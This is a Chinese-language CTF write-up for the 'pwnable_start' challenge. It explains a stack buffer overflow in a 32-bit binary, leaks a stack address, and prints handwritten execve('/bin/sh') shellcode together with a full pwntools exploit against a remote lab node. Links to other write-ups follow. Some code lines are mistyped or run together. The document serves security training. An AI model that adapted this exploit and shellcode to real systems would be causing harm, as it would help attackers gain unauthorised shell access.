pwnable_start

附件

步骤:

  1. 例行检查,32位程序,什么保护都没开,首先想到的是ret2shellcode的方法

  2. 本地试运行一下,看看程序大概的情况

  3. 32位ida载入,没法f5,好在汇编不长,看得懂

一开始调用write函数输出了let’s start the ctf,4是write函数的调用号,之后的调用号是3,调用了read函数,我们知道dl这个寄存器是控制输入字符的多少的,也就是所我们可以输入0x3c个字符,也就是执行了

write(1,buf,0x14)
read (0,buf,0x3C)

通过最后的add esp,14h 我们可以知道esp距离ret的地址0x14个字节(内平栈),也就是我们输入的参数buf的大小只有0x14,但是我们读入了0x3c,存在溢出漏洞

  1. 就跟一开始说的,由于没有开启任何保护,所以使用ret2shellcode的方法,要往栈上写入shellcode,首先要知道栈上的地址
payload=a*0x14+p32(0x8048087)

由于使用的内平栈,没有ebp,覆盖完buf后就是ret,其实看上方的汇编就知道了。
这句payload将程序执行流转到了去执行write函数,此时esp里的值是栈上0x8048087地址里的内容,这样就把栈上的地址给泄露了出来。

看到我们泄露出来了的栈地址,然后看一下esp现在指向的地址,他们中间相差0xd4-0xc0=0x14,我们可以用泄露的地址+0x14来表示之后的esp

  1. 接着就是写入shellcode,我一开始使用的pwntools自动生成的shellcode,但是失败了,可能是太长了,没有全部写进去,顺便学习了一下写shellcode
    起始所谓的shellcode就是去执行execve(‘/bin/sh’,0,0)
    系统调用执行的话就是int80 (eax,ebx,ecx,edx)
    execve的系统调用号是11,所以设置eax=0xb
    ‘/bin/sh’用16进制表示一下是0x0068732f,0x6e69622f,所以ebx要设置成‘/bin/sh’
    接着ecx和edx设置成0即可
shellcode=asm(
“‘
xor ecx,ecx; #ecx设置为0
xor edx,edx; #edx设置为0
push edx; #将edx的值压入栈
push 0x0068732f;
push 0x6e69622f;
mov ebx,esp; #将ebx设置为’/bin/sh‘的16进制
mov eax,oxb; #eax设置为0xb,调用execve
int 0x80
"')

由于小端序的原因,所以写入/bin/sh的时候起始写的是hs/nib/

综上所述,完整exp

from pwn import *
context.log_level="debug"
#p = process('./start')
p=remote('node3.buuoj.cn',26163)
payload = 'A'*0x14 + p32(0x8048087)
p.sendafter("Let's start the CTF:",payload)
#gdb.attach(p,'b * 0x804809c')
stack_addr = u32(p.recv(4))
print 'stack_addr: '+hex(stack_addr) #gdb.attach(p) shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f;mov ebx,esp;mov al,0xb;int 0x80') payload = 'A'*0x14 + p32(stack_addr+0x14)+shellcode
p.send(payload) p.interactive()

[BUUCTF]PWN——pwnable_start的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  6. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  7. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  8. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  9. [BUUCTF]PWN——mrctf2020_easyoverflow

    mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...

随机推荐

  1. [luogu1526]智破连环阵

    (以下在描述复杂度时,认为$n$和$m$相同,因此一律使用$n$) 称第$i$个炸弹能匹配非空区间$[l,r]$,当且仅当$l$到$r$内所有武器都在$i$攻击范围内,且$r=m$或第$r+1$个武器 ...

  2. [cf1491G]Switch and Flip

    将其连有向边$(i,c_{i})$,由于每一个点出入度都为1,那么必然构成若干个环 对于每一个环,从一点出发,将搜到的点依次记录下来(直至返回自己),记作$v_{1},v_{2},...,v_{k}$ ...

  3. 『学了就忘』Linux文件系统管理 — 58、常用硬盘管理相关命令

    目录 1.df命令 2.du命令 3.fsck文件系统修复命令 4.显示磁盘状态dumpe2fs 5.查看文件的详细时间 6.判断文件类型 1.df命令 df命令用于统计分区的占用状况. [root@ ...

  4. 使用Python定时清理运行超时的pdflatex僵尸进程

    问题 在我们之前的<基于texlive定制chemfig化学式转换Python服务镜像>定制的pdflatex在线转换的镜像已经运行在生产环境了,但是最近总有人反馈服务跑着跑着就慢了,本来 ...

  5. 文件IO与标准IO的区别

    文件IO与标准IO的区别 文件I/O就是操作系统封装了一系列函数接口供应用程序使用,通过这些接口可以实现对文件的读写操作,文件I/O是采用系统直接调用的方式,因此当使用这些接口对文件进行操作时,就会立 ...

  6. Docker-Mysql-proxy Mysql Proxy实现读写分离

      Docker-Mysql-proxy Mysql实现读写分离与负载 原理 MySQL Proxy处于客户端应用程序和MySQL服务器之间,通过截断.改变并转发客户端和后端数据库之间的通信来实现其功 ...

  7. Can't connect to HTTPS URL because the SSL module is not available. - skipping

    今天用pip3安装第三方库的时候报了这样一个错: Can't connect to HTTPS URL because the SSL module is not available. - skipp ...

  8. docker_清华源国内的选择

    清华大学开源镜像官网:https://mirrors.tuna.tsinghua.edu.cn/ 前期: 在centos7 中的extras 源里面有docker 安装包,但是里面的安装包是比较旧的 ...

  9. 数据库(database)介绍

    0.数据定义:除了文本类型的数据,图像.音乐.声音都是数据. 数据分类:结构化数据.非结构化数据.1.数据库定义:"电子化的文件柜","数据仓库".数据库是一个 ...

  10. Spring Boot 热启动插件

    1. maven依赖 <dependency> <groupId>org.springframework.boot</groupId> <artifactId ...